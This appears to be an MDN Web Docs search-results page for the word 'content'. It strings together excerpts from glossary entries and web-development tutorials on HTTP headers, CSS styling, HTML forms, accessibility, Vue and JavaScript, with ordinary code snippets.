content = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } the actual updates are all handled by the life cycle callbacks, which are placed inside the class definition as methods.
Web technology for developers
web developer guide the web developer guide provides useful how-to
content to help you actually use web technologies to do what you want or need to do.
... web technology references web apis reference material for each of the individual apis that comprise the web's powerful scriptability, including the dom and all of the related apis and interfaces you can use to build web
content and apps.
... html hypertext markup language is the language used to describe and define the
content of a web page.
... css cascading style sheets are used to describe the appearance of web
content.
Using the DOM File API in chrome code - Extensions
this only works from privileged code, so web
content can't do it.
... this protects users from the inherent security risks associated with allowing web
content free access to the
contents of their disks.
... if you pass a path to the file constructor from unprivileged code (such as web
content), an exception will be thrown.
Efficient animation for web games - Game development
to take a concrete example, if you start a css transition to move something from off-screen so that it is fully visible on-screen, the browser knows that the related
content will end up completely visible to the user and can then pre-render that
content.
... when you animate position with javascript, the browser cannot easily make that same assumption, and so you might end up causing it to draw only the newly-exposed region of
content, which may introduce slow-down.
... use requestanimationframe when you are animating <canvas>
content, or when your dom animations absolutely must synchronise with canvas
content animations, do make sure to use window.requestanimationframe, and not older methods such as window.settimeout.
CSP - MDN Web Docs Glossary: Definitions of Web-related terms
a csp (
content security policy) is used to detect and mitigate certain types of website related attacks like xss and data injections.
... the implementation is based on an http header called
content-security-policy.
... learn more general knowledge
content security policy on wikipedia technical knowledge
content security policy documentation on mdn ...
Entity header - MDN Web Docs Glossary: Definitions of Web-related terms
an entity header is an http header that can be used in an http request or response, and describes the
content of the body of themessage.
... headers like
content-length,
content-language,
content-encoding are entities headers.
... a few request headers after a get request: in the following example,
content-length is an entity header, while host and user-agent are requests headers: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0
content-length: 128 learn more technical knowledge list of all http headers ...
Keyword - MDN Web Docs Glossary: Definitions of Web-related terms
a keyword is a word or phrase that describes
content.
... online keywords are used as queries for search engines or as words identifying
content on websites.
... webpages also use keywords in a meta tag (in the <head> section) to describe page
content, so search engines can better identify and organize webpages.
Media (Audio-visual presentation) - MDN Web Docs Glossary: Definitions of Web-related terms
the term media (more accurately, multimedia) refers to audio, video, or combined audio-visual material such as music, recorded speech, movies, tv shows, or any other form of
content that is presented over a period of time.
... media
content can be recorded, played back, presented, and at times interacted with in various ways.
... learn more general knowledge multimedia on wikipedia technical reference web media technologies: a guide to all the ways media can be used in web
content multimedia and embedding in the mdn learning area <audio> and <video> elements, used to present media in html documents ...
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
a request header is an http header that can be used in an http request, and that doesn't relate to the
content of the message.
...for example, the
content-length appearing in a post request is actually an entity header referring to the size of the body of the request message.
...accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/testpage.html connection: keep-alive upgrade-insecure-requests: 1 if-modified-since: mon, 18 jul 2016 02:36:04 gmt if-none-match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a" cache-control: max-age=0 strictly speaking, the
content-length header in this example is not a request header like the others, but an entity header: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0
content-length: 128 learn more technical knowledge list of all http headers ...
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
a response header is an http header that can be used in an http response and that doesn't relate to the
content of the message.
...for example, the
content-length header is an entity header referring to the size of the body of the response message.
...note that strictly speaking, the
content-encoding and
content-type headers are entity header: 200 ok access-control-allow-origin: * connection: keep-alive
content-encoding: gzip
content-type: text/html; charset=utf-8 date: mon, 18 jul 2016 16:06:00 gmt etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-...
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
voiceover both reads aloud and displays
content.
... the
content read aloud is displayed in a dark grey box.
... just like keyboard navigation without voiceover, you can navigate through interactive elements using the tab key and the arrow keys: next interactive element: tab previous interactive element: shift + tab next radio button in a same named-group: right or down arrow previous radio button in a same named-group: left or up arrow navigating through the
content of a page is done with the tab key and a series of other keys along with control + option keys next heading: control + option + h next list: control + option + x next graphic: control + option + g next table: control + option + t down an html hierarchical order control + option + right arrow previous heading: shift + control + option + h previous list: shift + control + option + x previ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
in programming, semantics refers to the meaning of a piece of code — for example "what effect does running that line of javascript have?", or "what purpose or role does that html element have" (rather than "what does it look like?".) semantics in javascript in javascript, consider a function that takes a string parameter, and returns an <li> element with that string as its text
content.
... would you need to look at the code to understand what the function did if it was called build('peach'), or createliwith
content('peach')?
... some of the benefits from writing semantic markup are as follows: search engines will consider its
contents as important keywords to influence the page's search rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be populated semantic naming mirrors prop...
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
request.setrequestheader('accept', accept); } if (acceptlanguage) { request.setrequestheader('accept-language', acceptlanguage); } switch (parse) { case 'text': // priority should be on media type: var
contenttype = request.getresponseheader('
content-type'); //text/xml; charset="utf-8" // send to get headers first?
... // fix: we test for file extensions as well in case file:// doesn't return
content type (as seems to be the case); can some other tool be uesd in ff (or ie) to detect encoding of local file?
... probably just need bom test since other encodings must be specified var patternxml = /\.(svg|xml|xul|rdf|xhtml)$/; if ((
contenttype &&
contenttype.match(/[text|application]\/(.*)\+?xml/)) || (href.indexof('file://') === 0 && href.match(patternxml))) { /* grab the response as text (see below for that routine) and then find encoding within*/ var encname = '([a-za-z][a-za-z0-9._-]*)'; var pattern = new regexp('^<\\?xml\\s+.*encoding\\s*=\\s*([\'"])'+encname+'\\1.*\\?>'); // check document if not?
caret - MDN Web Docs Glossary: Definitions of Web-related terms
on the web, a caret is used to represent the insertion point in <input> and <textarea> elements, as well as any elements whose
contenteditable attribute is set, thereby allowing the
contents of the element to be edited by the user.
... learn more general knowledge caret navigation on wikipedia css related to the caret you can set the color of the caret for a given element's editable
content by setting the element's css caret-color property to the appropriate <color> value.
... <input type="text"> <input type="password"> <input type="search"> <input type="date">, <input type="time">, <input type="datetime">, and <input type="datetime-local"> <input type="number">, <input type="range"> <input type="email">, <input type="tel">, and <input type="url"> <textarea> any element with its
contenteditable attribute set ...
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossy compression, or irreversible compression, is a data-compression method that uses inexact approximations and partial-data discarding to represent
content.
...the process of such compression is irreversible; once lossy compression of the
content has been performed, the
content cannot be restored to its original state.
... therefore,
content that has undergone lossy compression should generally not be further edited.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
web
content's origin is defined by the scheme (protocol), host (domain), and port of the url used to access it.
... some operations are restricted to same-origin
content, and this restriction can be lifted using cors.
... examples of same origin http://example.com/app1/index.html http://example.com/app2/index.html same origin because same scheme (http) and host (example.com) http://example.com:80 http://example.com same origin because a server delivers http
content through port 80 by default examples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp.example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html living standardthe definition of 'origin' in that specification.
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
with prerendering, the
content is prefetched and then rendered in the background by the browser as if the
content had been rendered into an invisible separate tab.
... when the user navigates to the prerendered
content, the current
content is replaced by the prerendered
content instantly.
... <link rel="prerender" href="https://example.com/
content/to/prerender"> see also prefetch ...
Mobile accessibility - Learn web development
previous overview: accessibility next with web access on mobile devices being so popular and renowned platforms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web
content on these platforms.
... swipe up and right with a smooth motion to enter the local
content menu.
...always ensure resizing is enabled, and set the width to the device's width in the <head>: <meta name="viewport"
content="width=device-width; user-scalable=yes"> you should never set user-scalable=no if at all possible — many people rely on zoom to be able to see the
content of your website, so taking this functionality away is a really bad idea.
Debugging CSS - Learn web development
you can see in the layout panel that it is using
content-box.
... a reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding
content and styling removed.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Handling different text directions - Learn web development
these physical dimensions map very neatly to
content that is viewed horizontally, and by default the web tends to support left-to-right languages (e.g.
... in recent years however, css has evolved in order to better support different directionality of
content, including right-to-left but also top-to-bottom
content (such as japanese) — these different directionalities are called writing modes.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Images, media, and form elements - Learn web development
html5 also contains attributes that enable web developers to indicate which fields are required, and even the type of
content that needs to be entered.
...you could create a form input with no borders and background that is almost indistinguishable from the
content around it, but this would make it very hard to recognise and fill in.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: sizing - Learn web development
the first should be sized so that the height will be at least 100 pixels tall, even if there is less
content than would cause it to grow to that height, however, the
content should not overflow if there is more
content than fits in 100 pixels.
... test this box by removing the
content from the html to make sure you still get a 100 pixel tall box even with no
content.
... the second box should be fixed at 100 pixels tall, so that
content will overflow if there is too much.
Styling tables - Learn web development
normally, table columns tend to be sized according to how much
content they contain, which produces some strange results.
... with table-layout: fixed, you can size your columns according to the width of their headings, and then deal with their
content as appropriate.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
create fancy boxes - Learn web development
*/ .fancy::before, .fancy::after { /* this is required to be allowed to display the pseudo-elements, event if the value is an empty string */
content: ''; /* we positionnate our pseudo-elements on the left and right sides of the box, but always at the bottom */ position: absolute; bottom : 0; /* this makes sure our pseudo-elements will be below the box
content whatever happens.
...<i>pierre desproges</i></blockquote> so here comes our style: blockquote { min-height: 5em; padding : 1em 4em; font : 1em/150% sans-serif; position : relative; background-color: lightgoldenrodyellow; } blockquote::before, blockquote::after { position: absolute; height : 3rem; font : 6rem/100% georgia, "times new roman", times, serif; } blockquote::before {
content: '“'; top : 0.3rem; left : 0.9rem; } blockquote::after {
content: '”'; bottom : 0.3rem; right : 0.8rem; } blockquote:lang(fr)::before {
content: '«'; top : -1.5rem; left : 0.5rem; } blockquote:lang(fr)::after {
content: '»'; bottom : 2.6rem; right : 0.5rem } blockquote i { display : block; font-size : 0.8em; margin-top: 1rem; text-style: itali...
... .fancy { position: relative; background-color: #ffc; padding: 2rem; text-align: center; max-width: 200px; } .fancy::before {
content: ""; position : absolute; z-index : -1; bottom : 15px; right : 5px; width : 50%; top : 80%; max-width: 200px; box-shadow: 0px 13px 10px black; transform: rotate(4deg); } what's next in many ways, making a fancy box is mostly about adding color and images within the background, so it could worth digging into managing colors and images.
Styling links - Learn web development
ent.getelementbyid("reset"); var htmlcode = htmlinput.value; var csscode = cssinput.value; var output = document.queryselector(".output"); var solution = document.getelementbyid("solution"); var styleelem = document.createelement('style'); var headelem = document.queryselector('head'); headelem.appendchild(styleelem); function drawoutput() { output.innerhtml = htmlinput.value; styleelem.text
content = cssinput.value; } reset.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = csscode; drawoutput(); }); solution.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n...
...bottom: 1px solid;\n background: #cdfeaa;\n}\n\na:active {\n background: #265301;\n color: #cdfeaa;\n}'; drawoutput(); }); htmlinput.addeventlistener("input", drawoutput); cssinput.addeventlistener("input", drawoutput); window.addeventlistener("load", drawoutput); including icons on links a common practice is to include icons on links to provide more of an indicator as to what kind of
content the link points to.
...we set the path to the image we want to insert, specify no-repeat so we only get one copy inserted, and then specify the position as 100% of the way over to the right of the text
content, and 0 pixels from the top.
What HTML features promote accessibility? - Learn web development
the following
content describes specific features of html that can be used to make a web page more accessible to people with different disabilities.
...you might want to allow someone to jump over a plethora of navigation links, for example, so they can just read a page’s main
content rather than cycle through all of the links.
... <header> <h1>the heading</h1> <a href="#
content">skip to
content</a> </header> <nav> <!-- navigation stuff --> </nav> <section id="
content"> <!--your
content --> </section> ...
What is a Domain Name? - Learn web development
mozilla.org), you can create "subdomains" with different
content located at each, like developer.mozilla.org, iot.mozilla.org, or wiki.developer.mozilla.org.
...if it does, the name is translated to the ip address and the browser negotiates
contents with the web server.
... now that the computer knows the requested ip address, your browser can negotiate
contents with the web server.
How do you set up a local testing server? - Learn web development
enter the command to start up the server in that directory: # if python version returned above is 3.x python3 -m http.server # on windows try "python" instead of "python3", or "py -3" # if python version returned above is 2.x python -m simplehttpserver by default, this will run the
contents of the directory on a local web server, on port 8000.
...here you'll see the
contents of the directory listed — click the html file you want to run.
...you can then access your
content at localhost:7800.
Example 1 - Learn web development
solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; ...
...solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; ...
...id #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0; ba...
Example 3 - Learn web development
change states html
content <form class="no-widget"> <select name="myfruit" tabindex="-1"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" tabindex="0"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css
content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* -------...
...em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; ...
...order: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript
content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden...
Example 4 - Learn web development
change states html
content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css
content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /*...
...em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; ...
...order: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript
content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden...
Example 5 - Learn web development
change states html
content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" role="listbox"> <span class="value">cherry</span> <ul class="optlist hidden" role="presentation"> <li class="option" role="option" aria-selected="true">cherry</li> <li class="option" role="option">lemon</li> <li class="option" role="option">banana</li> <li class="option" role="option">strawberry</li> <li class="option" role="option">apple</li> </ul> </div> </form> css
content .widget select, .no-widget .select { posit...
...em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; ...
...order: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript
content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden...
How to structure a web form - Learn web development
each time you want to create an html form, you must start it by using this element, nesting all the
contents inside.
...the text
content of the <legend> formally describes the purpose of the <fieldset> it is included inside.
...for example, some screen readers such as jaws and nvda will speak the legend's
content before speaking the label of each control.
Sending form data - Learn web development
"> </div> <div> <label for="to">who do you want to say it to?</label> <input name="to" id="to" value="mom"> </div> <div> <button>send my greetings</button> </div> </form> when the form is submitted using the post method, you get no data appended to the url, and the http request looks like so, with the data included in the request body instead: post / http/2.0 host: foo.com
content-type: application/x-www-form-urlencoded
content-length: 13 say=hi&to=mom the
content-length header indicates the size of the body, and the
content-type header indicates the type of resource sent to the server.
... the enctype attribute this attribute lets you specify the value of the
content-type http header included in the request generated when the form is submitted.
...in human terms, this means: "this is form data that has been encoded into url parameters." if you want to send files, you need to take three extra steps: set the method attribute to post because file
content can't be put inside url parameters.
Publishing your website - Learn web development
getting hosting and a domain name to have more control over
content and website appearance, most people choose to buy web hosting and a domain name: web hosting is rented file space on a hosting company's web server.
...the web server provides website
content to website visitors.
... drag and drop the
content of your website folder into your repository.
Using data attributes - Learn web development
for example to show the parent data on the article you can use generated
content in css with the attr() function: article::before {
content: attr(data-parent); } you can also use the attribute selectors in css to change styles according to the data: article[data-columns='3'] { width: 400px; } article[data-columns='4'] { width: 600px; } you can see all this working together in this jsbin example.
...see this screencast for an example using generated
content and css transitions (jsbin example).
... issues do not store
content that should be visible and accessible in data attributes, because assistive technology may not access them.
Use HTML to solve common problems - Learn web development
how to create a list of items with html how to stress or emphasize
content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to c...
...reate a hyperlink how to create a table of
contents with html images & multimedia how to add images to a webpage how to add video
content to a webpage scripting & styling html only sets up document structure.
... how to use css within a webpage how to use javascript within a webpage embedded
content how to embed a webpage within another webpage how to add flash
content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems.
Mozilla splash page - Learn web development
save the
contents of index.html in a file called index.html on your local drive, in a new directory.
... adding a video to the main article
content just inside the <article> element (right below the opening tag), embed the youtube video found at https://www.youtube.com/watch?v=ojcncvb1olg, using the appropriate youtube tools to generate the code.
... previous overview: multimedia and embedding in this module images in html video and audio
content from <object> to <iframe> — other embedding technologies adding vector graphics to the web responsive images mozilla splash page ...
Multimedia and Embedding - Learn web development
let's start looking at how to make the web come alive with more interesting
content!
... video and audio
content next, we'll look at how to use the html5 <video> and <audio> elements to embed video and audio on our pages, including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fallbacks for older browsers.
... from <object> to <iframe> — other embedding technologies at this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of
content types into your webpages: the <iframe>, <embed> and <object> elements.
Structuring the web with HTML - Learn web development
html is used to specify whether your web
content should be recognized as a paragraph, list, heading, link, image, multimedia player, form, or one of many other available elements or even a new element that you define.
...just looking at it, consuming the
content).
... solving common html problems use html to solve common problems provides links to sections of
content explaining how to use html to solve very common problems when creating a webpage: dealing with titles, adding images or videos, emphasizing
content, creating a basic form, etc.
Choosing the right approach - Learn web development
we then run it once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').text
content = time; } const createclock = setinterval(displaytime, 1000); pitfalls the frame rate isn't optimized for the system the animation is running on, and can be somewhat inefficient.
...all() to wait for all of them to be available before then displaying all of them — see it live, and see the source code: function fetchanddecode(url, type) { // returning the top level promise, so the result of the entire chain is returned out of the function return fetch(url).then(response => { // depending on what type of file is being fetched, use the relevant function to decode its
contents if(type === 'blob') { return response.blob(); } else if(type === 'text') { return response.text(); } }) .catch(e => { console.log(`there has been a problem with your fetch operation for resource "${url}": ` + e.message); }); } // call the fetchanddecode() method to fetch the images and the text, and store their promises in variables let coffee = fetchanddecode(...
...cturl(values[1]); let desctext = values[2]; // display the images in <img> elements let image1 = document.createelement('img'); let image2 = document.createelement('img'); image1.src = objecturl1; image2.src = objecturl2; document.body.appendchild(image1); document.body.appendchild(image2); // display the text in a paragraph let para = document.createelement('p'); para.text
content = desctext; document.body.appendchild(para); }); pitfalls if a promise.all() rejects, then one or more of the promises you are feeding into it inside its array parameter must be rejecting, or might not be returning promises at all.
Introduction to events - Learn web development
btn.text
content, or btn.style), but it is a special type — when you set it to be equal to some code, that code is run when the event fires on the button.
...here were, using something like this: const buttons = document.queryselectorall('button'); for (let i = 0; i < buttons.length; i++) { buttons[i].onclick = bgchange; } note that another option here would be to use the foreach() built-in method available on nodelist objects: buttons.foreach(function(button) { button.onclick = bgchange; }); note: separating your programming logic from your
content also makes your site more friendly to search engines.
... and then display an error message in the paragraph below our form to tell the user what's wrong: const form = document.queryselector('form'); const fname = document.getelementbyid('fname'); const lname = document.getelementbyid('lname'); const para = document.queryselector('p'); form.onsubmit = function(e) { if (fname.value === '' || lname.value === '') { e.preventdefault(); para.text
content = 'you need to fill in both names!'; } } obviously, this is pretty weak form validation — it wouldn't stop the user validating the form with spaces or numbers entered into the fields, for example — but it is ok for example purposes.
Image gallery - Learn web development
if the class name is "dark", changes the <button> class to "light" (using setattribute()), its text
content to "lighten", and the background-color of the overlay <div> to "rgba(0,0,0,0.5)".
... if the class name not "dark", changes the <button> class to "dark", its text
content back to "darken", and the background-color of the overlay <div> to "rgba(0,0,0,0)".
... btn.setattribute('class', xxx); btn.text
content = xxx; overlay.style.backgroundcolor = xxx; hints and tips you don't need to edit the html or css in any way.
Aprender y obtener ayuda - Learn web development
videos there are also a number of sites that have video learning
content on them.
... i want to learn html and css so i can expand my job role to take over updating the
content on our company website.
... for example, if you are looking at a task of "build a simple two-column website", you could break it down as follows: create the html structure work out basic site typography work out a basic color scheme implement a high-level layout — header, horizontal navigation menu, main
content area with main and side columns, and footer.
Getting started with Vue - Learn web development
if you add a scoped attribute — <style scoped> — vue will scope the styles to the
contents of your sfc.
... note: if you select a css pre-processor when creating the project via the cli, you can add a lang attribute to the <style> tag so that the
contents can be processed by webpack at build time.
...we also need to remove the lines from inside the <script> element that import and register the component: delete these lines now: import helloworld from './components/helloworld.vue' components: { helloworld } your rendered app should no longer show an error, just a blank page, as we currently have no visible
content inside <template>.
Styling Vue components with CSS - Learn web development
add the following
contents to the reset.css file: /*reset.css*/ /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; background: transparent; color: inherit; fo...
... .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn__danger { color: #fff; background-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgrey; } .btn__danger:focus { outline-color: #c82333; } .btn__primary { color: #fff; background-color: #000; } .btn-group { display: flex; justify-
content: space-between; } .btn-group > * { flex: 1 1 auto; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } [class*="__lg"] { display: inline-block; width: 100%; font-size: 1.9rem; } [class*="__lg"]:not(:last-child) { margin-bottom: 1rem; } @media screen and (min-width: 620px) { [class*="__lg"] { font-size: 2.4rem; }...
...r: pointer; position: absolute; z-index: 1; top: -2px; left: -2px; width: 44px; height: 44px; margin: 0; opacity: 0; } .custom-checkbox > .checkbox-label { font-size: inherit; font-family: inherit; line-height: inherit; display: inline-block; margin-bottom: 0; padding: 8px 15px 5px; cursor: pointer; touch-action: manipulation; } .custom-checkbox > label::before {
content: ""; box-sizing: border-box; position: absolute; top: 0; left: 0; width: 40px; height: 40px; border: 2px solid currentcolor; background: transparent; } .custom-checkbox > input[type="checkbox"]:focus + label::before { border-width: 4px; outline: 3px dashed #228bec; } .custom-checkbox > label::after { box-sizing:
content-box;
content: ""; position: absolute; top: 11px; ...
Implementing feature detection - Learn web development
first, remove the
contents of the second <link> element's href attribute.
... give it the following
contents: const conditional = document.queryselector('.conditional'); const testelem = document.createelement('div'); if (testelem.style.flex !== undefined && testelem.style.flexflow !== undefined) { conditional.setattribute('href', 'flex-layout.css'); } else { conditional.setattribute('href', 'float-layout.css'); } here we are grabbing a reference to the second <link> element, and creating a <div> element as part of our test.
